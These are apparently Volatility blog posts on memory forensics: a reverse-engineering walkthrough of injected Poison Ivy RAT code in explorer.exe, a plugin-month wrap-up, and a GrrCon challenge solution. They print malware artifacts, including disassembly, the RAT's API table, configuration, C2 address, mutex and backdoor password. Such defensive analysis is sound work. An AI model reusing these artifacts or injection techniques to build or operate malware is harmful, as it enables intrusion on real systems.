0x01d10020 87 24 03 00 00 89 45 e8 8b 87 e8 03 00 00 05 13 .$....E.........
0x01d10030 01 00 00 89 45 e4 64 ff 35 00 00 00 00 8f 45 ec ....E.d.5.....E.
0x1d10000 55 PUSH EBP
0x1d10001 8bec MOV EBP, ESP
0x1d10003 81c4d0feffff ADD ESP, 0xfffffed0
0x1d10009 53 PUSH EBX
0x1d1000a 56 PUSH ESI
0x1d1000b 57 PUSH EDI
0x1d1000c 8955e0 MOV [EBP+0xffffffe0], EDX
0x1d1000f 8bd8 MOV EBX, EAX
0x1d10011 8bf3 MOV ESI, EBX
0x1d10013 8b86b4080000 MOV EAX, [ESI+0x8b4]
0x1d10019 8945d8 MOV [EBP+0xffffffd8], EAX
0x1d1001c 8b7834 MOV EDI, [EAX+0x34]
0x1d1001f 8b8724030000 MOV EAX, [EDI+0x324]
0x1d10025 8945e8 MOV [EBP+0xffffffe8], EAX
0x1d10028 8b87e8030000 MOV EAX, [EDI+0x3e8]
0x1d1002e 0513010000 ADD EAX, 0x113
0x1d10033 8945e4 MOV [EBP+0xffffffe4], EAX
0x1d10036 64ff3500000000 PUSH DWORD [FS:0x0]
0x1d1003d 8f45ec POP DWORD [EBP+0xffffffec]
Process: explorer.exe Pid: 1096 Address: 0x1de0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 9, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01de0000 00 00 ac 01 08 00 ac 01 02 10 00 00 05 00 c2 01 ................
0x01de0010 01 00 ac 01 01 00 c2 01 00 00 00 00 00 00 00 00 ................
0x01de0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01de0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x1de0000 0000 ADD [EAX], AL
0x1de0002 ac LODSB
0x1de0003 0108 ADD [EAX], ECX
0x1de0005 00ac0102100000 ADD [ECX+EAX+0x1002], CH
0x1de000c 0500c20101 ADD EAX, 0x101c200
0x1de0011 00ac010100c201 ADD [ECX+EAX+0x1c20001], CH
0x1de0018 0000 ADD [EAX], AL
0x1de001a 0000 ADD [EAX], AL
0x1de001c 0000 ADD [EAX], AL
0x1de001e 0000 ADD [EAX], AL
0x1de0020 0000 ADD [EAX], AL
0x1de0022 0000 ADD [EAX], AL
0x1de0024 0000 ADD [EAX], AL
0x1de0026 0000 ADD [EAX], AL
0x1de0028 0000 ADD [EAX], AL
0x1de002a 0000 ADD [EAX], AL
0x1de002c 0000 ADD [EAX], AL
0x1de002e 0000 ADD [EAX], AL
0x1de0030 0000 ADD [EAX], AL
0x1de0032 0000 ADD [EAX], AL
0x1de0034 0000 ADD [EAX], AL
0x1de0036 0000 ADD [EAX], AL
0x1de0038 0000 ADD [EAX], AL
0x1de003a 0000 ADD [EAX], AL
0x1de003c 0000 ADD [EAX], AL
0x1de003e 0000 ADD [EAX], AL
Resolving the API Functions
If you have a good eye, you'll notice at least one injected segment that doesn't look anything like the others. Specifically, the disassembly of the segment at 0x1310000 does not make sense:
0x1310000 0011 ADD [ECX], DL
0x1310002 42 INC EDX
0x1310003 ab STOSD
0x1310004 7107 JNO 0x131000d
0x1310006 4a DEC EDX
0x1310007 ab STOSD
0x1310008 712b JNO 0x1310035Luckily, malfind provides a hex dump preview of the memory as well. What you see is this:
0x01310000 00 11 42 ab 71 07 4a ab 71 2b 3e ab 71 27 4c ab ..B.q.J.q+>.q'L.
0x01310010 71 6f 67 ab 71 53 2e ab 71 e1 2e ab 71 55 53 ab qog.qS..q...qUS.
0x01310020 71 e1 9a 80 7c 74 9b 80 7c c7 06 81 7c 6b 23 80 q...|t..|...|k#.
0x01310030 7c 17 6c dd 77 42 78 dd 77 ab 7a dd 77 d7 ea dd |.l.wBx.w.z.w...There's an obvious pattern among the data. If its not as obvious to you as it was to me when I saw it, skip the first byte (00) and format the data as 32-bit integers using volshell:
$ python vol.py -f memory.img volshell
Volatile Systems Volatility Framework 2.3_alpha
Current context: process System, pid=4, ppid=0 DTB=0x39000
Welcome to volshell! Current memory image is:
file:///Volumes/Storage/memory/memory.img
To get help, type 'hh()'
>>> cc(pid = 1096)
Current context: process explorer.exe, pid=1096, ppid=1212 DTB=0x8cc000
>>> dd(0x01310000 + 1)
01310001 71ab4211 71ab4a07 71ab3e2b 71ab4c27
01310011 71ab676f 71ab2e53 71ab2ee1 71ab5355
01310021 7c809ae1 7c809b74 7c8106c7 7c80236b
01310031 77dd6c17 77dd7842 77dd7aab 77ddead7
01310041 77de4280 77dde9e4 77de4312 77de5196
01310051 7c831ec5 7c8286d6 7c801a28 7e44f6b4
01310061 7e42c2e8 7e43216b 7c810e17 7e42b3c6
01310071 7c810c1e 7e455721 7e42d226 7c80a864See it now!? It looks like an array of memory addresses, all landing in the 7XXXXXXX range, which is typically where you find system DLLs on Windows XP (remember this is before ASLR). Even though Poison Ivy leaves no trace of a PE header and thus no IAT, you've just identified the call table used by the malware to find API functions it needs at run time. After dynamically resolving the APIs (via GetProcAddress or manually parsing a DLL's EAT), the addresses are saved into this table.
The next step is to compute the reverse of GetProcAddress - given an address, determine the name of the API function is. This will give you an idea of at least some of the malware's capabilities. Volatility is full of useful plugins from which you can "borrow" code and leverage for malware analysis. So we'll stay in volshell in the context of explorer.exe (note: after the cc command, the self.eproc variable is set to the target process's _EPROCESS object). We enumerate all DLLs in explorer with the get_load_modules() function.
>>> explorer = self.eproc
>>> all_mods = list(explorer.get_load_modules())Now we call out to the impscan plugin and use its enum_apis() function. This parses the Export Address Table (EAT) of all DLLs and returns a dictionary of API information. The keys to the dictionary are addresses within explorer.exe where the API functions start. The values are tuples of the containing DLL and function name.
>>> import volatility.plugins.malware.impscan as impscan
>>> apis = impscan.ImpScan(self._config).enum_apis(all_mods)Next we will read all the addresses in the call table starting at 0x1310001 into an array. Looking at the original dd output, the first address should be 0x71ab4211, so you can double check by printing the first element in the array:
>>> addrs = obj.Object("Array", targetType = "address", offset = 0x01310001, vm = explorer.get_process_address_space(), count = 100)
>>> hex(addrs[0])
'0x71ab4211L'Finally, we can iterate over all addresses in the array and check if the apis dictionary has a key that matches. If so, we print the dictionary's values.
>>> for addr in addrs:
... if int(addr) in apis:
... (dll, func) = apis[int(addr)]
... print hex(addr.obj_offset - 0x01310000), dll.BaseDllName, func
...
0x1 WS2_32.dll socket
0x5 WS2_32.dll connect
0x9 WS2_32.dll closesocket
0xd WS2_32.dll send
0x11 WS2_32.dll recv
0x15 WS2_32.dll ntohs
0x19 WS2_32.dll inet_addr
0x1d WS2_32.dll gethostbyname
0x21 kernel32.dll VirtualAlloc
0x25 kernel32.dll VirtualFree
0x29 kernel32.dll CreateThread
0x2d kernel32.dll CreateProcessA
0x31 ADVAPI32.dll RegCloseKey
0x35 ADVAPI32.dll RegOpenKeyExA
0x39 ADVAPI32.dll RegQueryValueExA
0x3d ADVAPI32.dll RegSetValueExA
0x41 ADVAPI32.dll RegDeleteKeyA
0x45 ADVAPI32.dll RegCreateKeyExA
0x49 ADVAPI32.dll RegQueryInfoKeyA
0x4d ADVAPI32.dll RegEnumKeyExA
0x51 kernel32.dll DeleteFileA
0x55 kernel32.dll CopyFileA
0x59 kernel32.dll CreateFileA
0x5d USER32.dll GetKeyNameTextA
0x61 USER32.dll GetActiveWindow
0x65 USER32.dll GetWindowTextA
0x69 kernel32.dll WriteFile
0x6d USER32.dll CallNextHookEx
0x71 kernel32.dll SetFilePointer
0x75 USER32.dll ToAscii
0x79 USER32.dll GetKeyboardState
0x7d kernel32.dll GetLocalTime
0x81 kernel32.dll lstrcatA
0x85 kernel32.dll CreateMutexA
0x89 ntdll.dll RtlGetLastWin32Error
0x8d kernel32.dll GetFileTime
0x91 kernel32.dll SetFileTime
0x95 kernel32.dll OpenProcess
0x99 WS2_32.dll select
0x9d kernel32.dll LoadLibraryA
0xa1 kernel32.dll CloseHandle
0xa5 kernel32.dll Sleep
0xa9 ntdll.dll RtlMoveMemory
0xad ntdll.dll RtlZeroMemory
0xb1 kernel32.dll VirtualAllocEx
0xb5 kernel32.dll WriteProcessMemory
0xb9 kernel32.dll CreateToolhelp32Snapshot
0xbd kernel32.dll Process32First
0xc1 kernel32.dll Process32Next
0xc9 kernel32.dll CreateRemoteThread
0xcd kernel32.dll lstrcmpiAAs you can see, Poison Ivy uses APIs for networking (send, recv, gethostbyname, etc), for launching external processes (CreateProcessA), and modifying and querying the registry (for persistence with the Run key). It also includes CallNextHookEx (typically used in conjunction with SetWindowsHookEx which you may remember from MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem), ToAscii, and GetKeyboardState - all likely components of the keylogger; however as we noticed in the original post, that functionality of the RAT was disabled. There are various other clues you can gain from this, such as SetFileTime (timestomping), and VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread for the code injection.
Embedded Strings and Unconditional CALLs
The offsets we printed to the left of the API names are relative to the call table base (0x1310000). These are the values you would see being used in disassembles of the code. For example, CALL DWORD PTR [EDI + 91] would be a call to SetFileTime. And this is one way you can proceed with reverse engineering the RAT's functionality even though its split across 20+ memory segments in explorer.exe and there is no PE header or IAT. Let's apply this knowledge to one of the memory segments that contains executable instructions:
>>> dis(0x1300000) 0x1300000 55 PUSH EBP 0x1300001 8bec MOV EBP, ESP 0x1300003 81c430faffff ADD ESP, 0xfffffa30 0x1300009 8b7508 MOV ESI, [EBP+0x8] 0x130000c 8d86fb030000 LEA EAX, [ESI+0x3fb] 0x1300012 50 PUSH EAX 0x1300013 6a00 PUSH 0x0 0x1300015 6a00 PUSH 0x0 0x1300017 ff9685000000 CALL DWORD [ESI+0x85] ; CreateMutexA 0x130001d 8986c5080000 MOV [ESI+0x8c5], EAX 0x1300023 ff9689000000 CALL DWORD [ESI+0x89] ; GetLastError 0x1300029 3db7000000 CMP EAX, 0xb7 ; ERROR_ALREADY_EXISTS 0x130002e 7504 JNZ 0x1300034 0x1300030 c9 LEAVE 0x1300031 c20400 RET 0x4 0x1300034 56 PUSH ESI 0x1300035 8d866b090000 LEA EAX, [ESI+0x96b] 0x130003b 50 PUSH EAX 0x130003c 8d8645010000 LEA EAX, [ESI+0x145] 0x1300042 50 PUSH EAX 0x1300043 ff96fd000000 CALL DWORD [ESI+0xfd] 0x1300049 e807000000 CALL 0x13000550x130004e 7773 JA 0x13000c3 0x1300050 325f33 XOR BL, [EDI+0x33] 0x1300053 3200 XOR AL, [EAX]0x1300055 58 POP EAX 0x1300056 50 PUSH EAX 0x1300057 ff969d000000 CALL DWORD [ESI+0x9d] ; LoadLibraryA 0x130005d 8986c30a0000 MOV [ESI+0xac3], EAX
Now that we've applied labels to the calls, the purpose of the function in this memory segment is easily understood. It is the function that creates the mutex and then returns if the mutex already existed or not; otherwise it goes on to load the ws2_32 (winsock2) library. Here's what you know based on the above disassembly:
- The function takes one argument (EBP+0x8). This is moved into ESI which is the register referenced when making the API calls (CALL DWORD [ESI+0x85]). Thus the argument is a pointer to the base address of the memory region that contains the API call table (0x1310000).
- When CreateMutexA is called, the third parameter (mutex name) is pushed on the stack from EAX, but before that it came from [ESI+0x3fb]. Now we know the offset of the mutex name inside the memory region.
- The return value of CreateMutexA (a HANDLE to the created or opened mutex) is placed into [ESI+0x8c5].
- It calls GetLastError and if that reports ERROR_ALREADY_EXISTS, the function returns. Otherwise it jumps to 0x1300034. See below for what happens next.
>>> db(0x130004e) 0x0130004e77 73 32 5f 33 32 0058 50 ff 96 9d 00 00 00 89ws2_32.XP....... 0x0130005e 86 c3 0a 00 00 e8 3a 00 00 00 e1 60 b4 8e 01 00 ......:....`....
The trick of "hiding" strings by embedding them between executable instructions is not new. Greg Hoglund discussed it in his "Detecting APT Attackers In Memory" post (and obviously Poison Ivy has been doing it for years). In the post, Poison Ivy wasn't identified by name, the term "APT" was dropped about 12 times, and you can tell based on similarities in the code that it was definitely Poison Ivy.
Reverse Engineering the Code
If Hex-Rays Decompiler worked on code fragments in physical memory, that would be awesome...but it doesn't. So we are left with the task of manually reversing code if we want to understand how it looks at a higher level language. The example function we displayed above, with partial structures, can be seen below:
typedef struct _PIVY_CALLS {
/* offset 0x000 */ unsigned char zero; // 00
/* offset 0x001 */ VOID * p_socket;
/* offset 0x005 */ VOID * p_connect;
/* offset 0x009 */ VOID * p_closesocket;
.....
/* offset 0x089 */ VOID * p_CreateMutexA;
/* offset 0x09d */ VOID * p_LoadLibraryA;
} PIVY_CALLS, *PPIVY_CALLS;
// this is the structure at 0x1310000
typedef struct _PIVY_STRUCT {
/* offset 0x008 */ PIVY_CALLS PivyCalls;
/* offset 0x3fb */ CHAR szMutex[unknown_size];
/* offset 0x8c5 */ HANDLE hMutex;
/* offset 0xac3 */ HMODULE hLibWinsock;
} PIVY_STRUCT, *PPIVY_STRUCT;
VOID Sub_1300000 (PPIVY_STRUCT PivyStruct) // EBP+0x8
{
PivyStruct->hMutex = PivyStruct->PivyCalls.p_CreateMutexA(
NULL,
FALSE,
PivyStruct->szMutex);
if (GetLastError() == ERROR_ALREADY_EXISTS)
return;
PivyStruct->hLibWinsock = PivyStruct->PivyCalls.p_LoadLibraryA("ws2_32");
......
}Not bad for a start, right? The Poison Ivy functions are spread across multiple memory segments, strings are interspersed with code, and the API call table is in yet another segment. But its still possible to reverse engineer and figure out what each function does when you put the pieces together.
Automating the Solution
To help automate the task of labeling API calls throughout the different memory segments, pulling out the embedded strings, and things of that nature, we built a new Volatility plugin called pivydasm. We use the distorm3 stream disassembler, just like many other existing plugins. However, we had to handle some special cases. Instead of doing a simple linear scan through the code blocks (since there are anti-disassembling tricks), we had to use additional checks to make sure the results were correct.
Basic usage:
$ python vol.py -f memory.img pivydasm --pid=1096 --output=html --output-file=report.html
Here's a brief description of how the plugin works:
- It scans for injected code segments, just like malfind
- It distinguishes between PoisonIvy's functions blocks and the API call table
- It does an initial linear pass with distorm3 on all functions, applying labels to imported function calls and collecting called addresses that exist within other code fragments.
- It does a second pass with the disassembler making sure to start at all addresses that other instructions called. It discards instructions that don't match up, effectively identifying the anti-disassembling tricks and eliminating them from the final disassembly view
The plugin can render output as text (to the terminal) or HTML. I prefer to use the HTML report for this particular plugin, because it uses colors similar to IDA Pro and makes things "feel" more familiar. Here's an example - click to enlarge:
- The instruction at address 0x0129000c references the mutex name ")!VoqA.I4" using a LEA EAX, [ESI + 0x3fb]. It is passed to CreateMutexA, which itself is accessed as CALL DWORD [ESI + 0x85]. Code which used to just be meaningless offsets and registers now makes perfect sense.
- The instruction at address 0x01290043 calls [ESI + 0xfd] which Andreas Schuster named "func_Key_expansion" in this original set of Poison Ivy plugins for Volatility. This would seem to be accurate since the parameters passed to the function include the RAT's secret password "tigers" and a pointer to the Camellia key schedule.
- The initial pass through the data with a linear scan identified the bytes at 0x0129004e (77 73) as JA 0x12900c3. That does not make sense since there is no comparison before the JA. Thus three instructions are shown in a strike-out font, they're labeled as ANTI-DISASM, and the bytes for those "fake" instructions are interpreted as a string "ws2_32" and displayed in a comment.
In the next screen shot, you can see where the command and control communications take place. The func_Send_Receive function is just a wrapper around the ws2_32.send and ws2_32.recv calls. Notice the Cemellia key schedule is referenced before calling the encryption and decryption routines:
In the next screen shot, you can see the registry Run key we noticed in the original forensic analysis. This string is also embedded between executable code blocks. After referencing the string, it calls RegOpenKeyExA, RegSetValueExA, and RegCloseKey.
The final screen shot shows the few functions involved in code injection to other processes. From top to bottom, you see a CALL DWORD [ESI + 0xd1] which goes to 0x01990000 (the function in the middle). At that location, the well-known combination of VirtualAllocEx and WriteProcessMemory allocates memory and transfers data to the remote process. Then CreateRemoteThread is called to execute code at offset 0x0197000 (func_Extra). The function you see in the bottom that calls CreateToolhelp32Snapshot, Process32First, and lstrcmpiA is how the malware finds a process by name (i.e. it maps "explorer.exe" to its process ID).
Visualizing Relationships
Since Volatility can render data in various formats, we added a Graphviz .dot style rendering function to the pivydasm plugin. It can be called like this:
$ python vol.py -f memory.img pivydasm --pid=1096 --output=dot --output-file=graph.dot
You can click (or download) and enlarge the image below. It basically shows the relationship among injected code fragments and how they call each other. To lend some context to the graph, all labels displayed in the HTML disassembly were ported to the graph nodes.
Conclusion
Volatility is more than just a memory forensics framework. Its a malware analysis tool with unparalleled visibility and power. In this post, we took an hour or so and produced a plugin that can do more than certain products that vendors sell for $10,000+. It reconstructs code fragments that the PoisonIvy RAT disperses into more than two dozen small allocations throughout process memory, puts them in context, and allows you to attribute the artifacts we saw in the original forensic analysis to exact code instructions that produced them. Code or it didn't happen? Oh, it definitely happened!
Friday, October 12, 2012
MoVP for Volatility 2.2 and OMFW 2012 Wrap-Up
The Month of Volatility Plugins and Open Memory Forensics Workshop 2012 have now come to an end. Volatility 2.2 has been released. We hope you enjoyed spending time with us learning about the new features and innovative research that's being built into the framework. At the same time, we'd like to thank everyone who *contributes to the framework in one way or another; especially those who write code (see CREDITS.txt in the source package) and share their analyses.
* this excludes people who write plugins that implement a subset of the functionality of existing plugins and then charge excessive fees to teach you about it. You know who you are!
In the meantime, we've already started development on Volatility 2.3 and expect an RC1 date in December 2012. Will there be enough new features in 2.3 for another Month of Volatility Plugins? Action packed is how we like it, so you'll have to wait and see!
* this excludes people who write plugins that implement a subset of the functionality of existing plugins and then charge excessive fees to teach you about it. You know who you are!
In the meantime, we've already started development on Volatility 2.3 and expect an RC1 date in December 2012. Will there be enough new features in 2.3 for another Month of Volatility Plugins? Action packed is how we like it, so you'll have to wait and see!
Open Memory Forensics Workshop
- Datalore: Android Memory Analysis by Joe Sylve (@jtsylve)
- Malware in the Windows GUI Subsystem by Michael Ligh (@iMHLv2)
- Reconstructing the MBR and MFT from Memory by Jamie Levy (@gleeda)
- Analyzing Linux Rootkits with Volatility by Andrew Case (@attrc)
- More online slides are expected soon
Month of Volatility Plugins
Week One:
Week Two:
- MoVP 2.1 Atoms (The New Mutex), Classes, and DLL Injection
- MoVP 2.2 Malware In Your Windows
- MoVP 2.3 Event Logs and Service SIDs
- MoVP 2.4 Analyzing the Jynx Rootkit and LD_PRELOAD
- MoVP 2.5 Investigating In-Memory Network Data with Volatility
Week Three:
- MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem
- MoVP 3.2 Shellbags in Memory, SetRegTime and TrueCrypt Volumes
- MoVP 3.3 Analyzing USER Handles and the Win32k.sys Gahti
- MoVP 3.4 Recovering tagCLIPDATA: What's In Your Clipboard?
- MoVP 3.5 Analyzing the 2008 DFRWS Challenge with Volatility
Week Four:
OMFW 2012: Datalore: Android Memory Analysis
This presentation went over the Android specific analysis capabilities of Volatility as well as showed how to use LiME to capture physical memory from Android devices. This functionality will be included in the 2.3 Volatility release.
Author/Presenter: Joe Sylve / @jtsylve
Direct Link: Datalore: Android Memory Analysis
Author/Presenter: Joe Sylve / @jtsylve
Direct Link: Datalore: Android Memory Analysis
OMFW 2012: Analyzing Linux Kernel Rootkits with Volatility
This presentation went over a number of the new Linux plugins and showed how to use them when investigating Linux kernel rootkits. All of the plugins and functionality shown is part of the 2.2 Volatility release.
Author/Presenter: Andrew Case / @attrc
Direct Link: Analyzing Linux Kernel Rootkits with Volatility
Author/Presenter: Andrew Case / @attrc
Direct Link: Analyzing Linux Kernel Rootkits with Volatility
Thursday, October 11, 2012
Solving the GrrCon Network Forensics Challenge with Volatility
In this post, we will walk through the process that MHL (@iMHLv2) and I (@attrc) went through to solve the @GrrCon network forensics challenge. Although participants were provided a memory sample, packet capture, and file system timeline, as a personal challenge our goal was to use only the provided memory sample. This required some very detailed investigation with Volatility and also a bit of Windows malware analysis skills. We believe that walking through the approach we took to solving the challenge will both showcase the power of memory analysis and Volatility, including newly released plugins, and also serve as a learning example for other investigators.
The GrrCon Challenge
GrrCon is an information security conference in Michigan that just recently put on their 2012 offering. I first found out about the GrrCon challenge from this tweet:
Challenge Questions
1. How was the attack delivered?
2. What time was the attack delivered?
3. What was that name of the file that dropped the backdoor?
4. What is the ip address of the C2 server?
5. What type of backdoor is installed?
6. What is the mutex the backdoor is using?
7. Where is the backdoor placed on the filesystem?
8. What process name and process id is the backdoor running in?
9. What additional tools do you believe were placed on the machine?
10. What directory was created to place the newly dropped tools?
11. How did the attacker escalate privileges?
12. What level of privileges did the attacker obtain?
13. How was lateral movement performed?
14. What was the first sign of lateral movement?
15. What documents were exfiltrated?
16. How and where were the documents exfiltrated?
17. What additional steps did the attacker take to maintain access?
18. How long did the attacker have access to the network?
19. What is the secret code inside the exfiltrated documents?
20. What is the password for the backdoor?
Starting the Investigation
We will now discuss how we approached and solved the challenge. Note that MHL and I were doing our analysis separately, and chatting on IM. We also did not do the questions in order and simply figured them out as the investigation proceeded. This analysis portion is written in a time-linear fashion to show our approach as opposed to sorting it by the question number.
I started by running imageinfo to determine which OS was installed on the challenge machine. This reported Windows XP SP3 x86. I then scripted out running of all the commonly used Windows plugins into per-plugin output files. This makes grepping, sorting, and other operations easier throughout the investigative process.
The first plugin I looked at was connections as this lists the open network connections for XP systems. Based on the challenge questions and the fact that most malware will have some sort of network activity, I assumed this would be a good starting place:
# python vol.py -f memdump.img connections
Volatile Systems Volatility Framework 2.2_rc2
Offset(V) Local Address Remote Address Pid
---------- ------------------------- ------------------------- ------
0x8201ce68 172.16.150.20:1365 172.16.150.10:139 4
0x82018e00 172.16.150.20:1424 221.54.197.32:443 1096
# python vol.py -f memdump.img pslist -p 4,1096
Volatile Systems Volatility Framework 2.2_rc2
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ -------------------- --------------------
0x823c8830 System 4 0 51 269 ------ 0
0x8214a020 explorer.exe 1096 1212 13 317 0 0 2012-04-28 02:20:54
It seems my first instinct was correct as the output of connections and pslist with the filtered PIDs is showing us that explorer.exe is making a connection to a remote server on port 443. While this isn’t inherently malicious, it’s definitely something to check out. Sure enough, at the same time as I was studying the above output, I got a message from MHL:
MHL: theres a bunch of code injected in explorer and a the IP address for the network connection on port 443 is also in the memory of explorer
$ python vol.py -f memdump.img yarascan -p 1096 -Y "221.54.197.32"
Volatile Systems Volatility Framework 2.3_alpha
Rule: r1
Owner: Process explorer.exe Pid 1096
0x01310191 32 32 31 2e 35 34 2e 31 39 37 2e 33 32 00 bb 01 221.54.197.32...
0x013101a1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x013101b1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x013101c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
MHL: the code is injected in like 20 different spots in explorer
MHL: you can see with malfind
$ python vol.py -f memdump.img malfind -p 1096
Process: explorer.exe Pid: 1096 Address: 0x1c70000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01c70000 53 56 8b c8 8b 99 b4 08 00 00 8b 73 34 8b ca 33 SV.........s4..3
0x01c70010 db 89 19 33 db 89 59 04 33 db 89 59 08 33 db 89 ...3..Y.3..Y.3..
0x01c70020 59 0c 33 c9 ff 96 d4 01 00 00 5e 5b c3 00 00 00 Y.3.......^[....
0x01c70030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x1c70000 53 PUSH EBX
0x1c70001 56 PUSH ESI
0x1c70002 8bc8 MOV ECX, EAX
0x1c70004 8b99b4080000 MOV EBX, [ECX+0x8b4]
0x1c7000a 8b7334 MOV ESI, [EBX+0x34]
0x1c7000d 8bca MOV ECX, EDX
This showed that MHL had determined the same information, but took a different approach. Instead of connections & pslist, he first ran malfind, which pointed him to a number of code injections inside the explorer process. He then used connections to determine the activity for the specific process.
Question 4 - What is the ip address of the C2 server?
- 221.54.197.32
Question 8 - What process name and process id is the backdoor running in?
- 1096 / explorer
Answering Questions 5 & 6
Question 6 asks for the mutex name of the backdoor, which led to this conversation:
attc: its posion ivy
attc: i ran handles and filtered for mutants owned by explorer
$ python vol.py -f memdump.img handles -p 1096 -t Mutant --silent
Volatile Systems Volatility Framework 2.2
Offset(V) Pid Handle Access Type Details
---------- ------ ---------- ---------- ---------------- -------
0x82122810 1096 0x20 0x1f0001 Mutant SHIMLIB_LOG_MUTEX
0x82320348 1096 0xb0 0x1f0001 Mutant ExplorerIsShellMutex
0x8213eec8 1096 0xc4 0x120001 Mutant ShimCacheMutex
0x821422b8 1096 0x2f0 0x1f0001 Mutant )!VoqA.I4
0x8226f620 1096 0x2f8 0x1f0001 Mutant _SHuassist.mtx
0x81fff188 1096 0x308 0x1f0001 Mutant ZonesCounterMutex
attc: found this
attc: )!VoqA.I4
attc: and googled..
MHL: yeah i saw that
MHL: its in the mem of explorer too
MHL: i just ran mutantscan and that )!VoqA.I4 stood out
After finding the strangely named mutex, I Googled it, and the first page was full of references to Poison Ivy. We now had the answers to questions 5 and 6:
Question 5 - What type of backdoor is installed?
- Posion Ivy
Question 6 – What is the mutex the backdoor is using?
- )!VoqA.I4
Answering Question 7
This question asked “Where is the backdoor placed on the filesystem?” Before I even had a chance to look into this, MHL figured it out:
MHL: if you run strings on the same vad segment that contains the mutex name, you see svchosts.exe
MHL: when the real name is svchost.exe
MHL: so that's probably the file name on disk
MHL: well the string in memory doesn't necessarily mean the file was ever created
MHL: check with filescan though
$ python vol.py -f memdump.img filescan | grep svchosts
Volatile Systems Volatility Framework 2.3_alpha
0x01fef320 1 0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\svchosts.exe
0x02119200 1 0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\svchosts.exe
So his approach was to run vaddump on the infected process and then look for any strange references inside of it. This led to the discovery of svchosts.exe as opposed to svchost.exe. He then ran filescan, which carves memory for opened file handles (both active and previously closed) and reports them. As can be seen in his chat message, there were previously opened file handles that pointed to WINDOWS\system32\svchosts.exe. We now could answer question 7.
MHL also said this:
MHL: there's also this string in explorer one of the injected segments
0000020: 534f 4654 5741 5245 5c4d 6963 726f 736f SOFTWARE\Microso
0000030: 6674 5c57 696e 646f 7773 5c43 7572 7265 ft\Windows\Curre
0000040: 6e74 5665 7273 696f 6e5c 5275 6e00 57ff ntVersion\Run.W.
MHL: i used printkey and that ties up some loose ends
$ python vol.py -f memdump.img printkey -K "Microsoft\Windows\CurrentVersion\Run"
Volatile Systems Volatility Framework 2.2
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: Run (S)
Last updated: 2012-04-28 01:59:22
Subkeys:
(S) OptionalComponents
Values:
REG_SZ Adobe Reader Speed Launcher : (S) "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe"
REG_SZ Adobe ARM : (S) "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
REG_SZ svchosts : (S) C:\WINDOWS\system32\svchosts.exe
So based on a string near the malicious mutex, we found a registry path and then queried the cached registry content in kernel memory. It contained a run key for svchosts.exe which is the binary we already suspected to be related to the malware.
Question 7. Where is the backdoor placed on the filesystem?
- C:\windows\system32\svchosts.exe
Answering Question 20
As I was working on the questions related to data exfiltration, I got this message from MHL:
MHL: good call on the poisonivy
$ python vol.py -f memdump.img poisonivyconfig -p 1096
Volatile Systems Volatility Framework 2.3_alpha
-------------------------------------
Process: explorer.exe (1096)
Infection:
PoisonIvy has ADMIN privileges!
Version: 231
Base VA: 0x01300000
Extra VA: 0x01970000
Data VA: 0x01310000
Mutex: )!VoqA.I4
Original file: C:\WINDOWS\system32\svchosts.exe
Melt original file: ON
Command and Control:
Host 01: 221.54.197.32:443 (direct)
Password: tigers
Id: tigers
Group:
Keylogger:
Keylogger: off
Copy file:
Copy routine: 0x019c0000
Destination: %WINDIR%\System32\svchosts.exe
Persistence:
Active Setup: off
HKLM Run: ON
HKLM Run name: svchosts
Setup routine: 0x01410000
Injector:
Inject into other processes: ON
Persistently: ON
Injector TID: 0
Injector Routine: 0x00000000
Target process name: explorer.exe
Target default browser: ON
Proxy:
Use Proxy: off
posionivyconfig is a Volatility plugin from Andreas Schuster (@forensikblog) that can locate and parse the backdoor’s configuration file in memory. The plugin reported a number of interesting pieces of information that we had found before (svchosts.exe, run key manipulation, mutex, C&C server IP address), but also told us a new piece of information that also happened to be the answer to question 20.
Question 20. What was the password for the backdoor?
– tigers
Answering Questions 1 & 3 (Accidentally)
I wanted to determine which documents were exfiltrated and how. I took the following approach. Note: remember this is played over IM, so the reason I grepped for “swing” is explained a little further into the chat logs.
attc: i grepped for swing
$ grep swing grr/strings-vol
076173e0 [kernel e16893e0] \Documents and Settings\binge\Local Settings\Temporary Internet Files\Content.IE5\G1UV09YV\swing-mechanics.doc[1].exe Zone.Identifierr
0773e158 [624 008d5158 1024 03755158 1096 009f5158 1120 00905158] \??\C \Documents and Settings\binge\Local Settings\Temporary Internet Files\Content.IE5\G1UV09YV\swing-mechanics.doc[1].exe
0fde1af2 [kernel e11f0af2] swing-mechanics.doc[1].exeSWING-MECHANICS.DOC[1].EXE
10633362 [kernel e1276362] iles\Content.IE5\G1UV09YV\swing-mechanics.doc[1].exe.Local
11cc6e3a [kernel d9981e3a] swing-mechanics.doc[1].exe
attc: .doc.exe
attc: and
attc: SWING-MECHANICS.DOC[1].EXE-013CEA10.pf
attc: there’s a prefetch file, so it definitely ran...
attc: i searched for "\.doc"
attc: and saw that swing file
attc: then searched swing
attc: i did xls ppt and pdf too
attc: but didnt see anything interesting
MHL: let's check if the file was opened by any processes
$ python vol.py -f memdump.img filescan | grep doc
Volatile Systems Volatility Framework 2.3_alpha
0x01fe8b28 1 0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\mydocs.dll
0x02211e00 1 0 RW-rwd \Device\HarddiskVolume1\Documents and Settings\binge\Local Settings\Temporary Internet Files\Content.IE5\G1UV09YV\swing-mechanics.doc[1].exe
